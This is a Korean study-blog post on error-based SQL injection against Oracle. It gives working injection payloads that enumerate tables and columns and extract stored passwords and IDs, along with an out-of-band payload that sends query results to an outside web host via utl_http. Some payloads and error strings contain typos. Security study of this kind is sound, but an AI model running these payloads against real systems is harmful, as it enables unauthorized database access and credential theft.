Error-based SQLi(Oracle DB) 본문
데이터베이스의 문법에 맞지 않는 쿼리문 입력 시 반환되는 에러 정보를 기반으로 공격하는 방법
ORACLE의 2가지 종류 Error 정보
- 단순 Error: 문법이 잘못되었다는 Error 정보
- 정보획득이 가능한 Error: 무엇이 잘못되었다는 Error 정보
예) varchar형 ~를 int형으로 변환할 수 없습니다.
정보획득을 위한 저장프로시저
UTL_INADDR.GET_HOST_NAME((서브쿼리))
UTL_INADDR.GET_HOST_ADDRESS((서브쿼리)) => [ver > 11g, SYS 권한 필요]
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((서브쿼리), user, user)
CTXSYS.DRITHSX.SN(user, (서브쿼리))
ROWNUM
DB에서 데이터를 추출할 때 행에 순번을 매겨 데이터를 추출해야함
DB 벤더 마다 순번 매기는 방법이 다름
ORACLE: SELECT ROWNUM (AS) rnum, [컬럼] FROM [테이블] WHERE rnum=1;
MS-SQL: SELECT TOP 1 FROM [테이블] WHERE [조건]
MySQL: SELECT [컬럼] FROM [테이블] WHERE [조건] LIMIT 0, 1;
- 테이블 개수 확인
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(TABLE_NAME) FROM USER_TABLES))=1--
DRG-11701: thesaurus [유저 테이블 개수] does not exist
- 테이블 이름 확인
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS RNUM FROM USER_TABLES) WHERE RNUM=60))=1--
DRG-117101: thersaurus [60번째 유저 테이블 이름] does not exist
- 컬럼 개수 확인
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(COLUMN_NAME) FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='MEMBER'))=1--
DRG-117101: thersaurus [MEMBER 테이블 컬럼 개수] does not exist
- 컬럼 이름 확인
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS RNUM FROM ALL_TAB_COLUMNS WEHRE TABLE_NAME='MEMBER') WHERE RNUM=3))=1--
DRG-117101: thersaurus [MEMBER 테이블 3번째 컬럼 이름] does not exist
- 데이터 개수 확인, 데이터 추출
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT COUNT(PASS) FROM MEMBER))=1--
DRG-117101: thersaurus [MEMBER 테이블 PASS 컬럼 개수] does not exis
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT PASS FROM (SELECT PASS, ROWNUM AS RNUM FROM MEMBER) WHERE RNUM=1))=1--
DRG-117101: thersaurus [MEMBER 테이블 1번째 패스워드] does not exis
AAA%' AND CTXSYS.DRITHSX.SN(user, (SELECT ID FROM (SELECT ID, ROWNUM AS RNUM FROM MEMBER) WHERE RNUM=1))=1--
DRG-117101: thersaurus [MEMBER 테이블 1번째 아이디] does not exist
ps. OOB (Out of Band)
OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.
ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --
'Study > WEB' 카테고리의 다른 글
AJAX 요청 방법 (0) | 2020.09.01 |
---|---|
JSP 업로드 우회 (0) | 2020.09.01 |
불충분한 인증/인가 (0) | 2020.03.18 |
SQLi 기록 (0) | 2019.07.11 |
XSS(Cross-Site Scripting) 종류 및 특징 (0) | 2019.03.14 |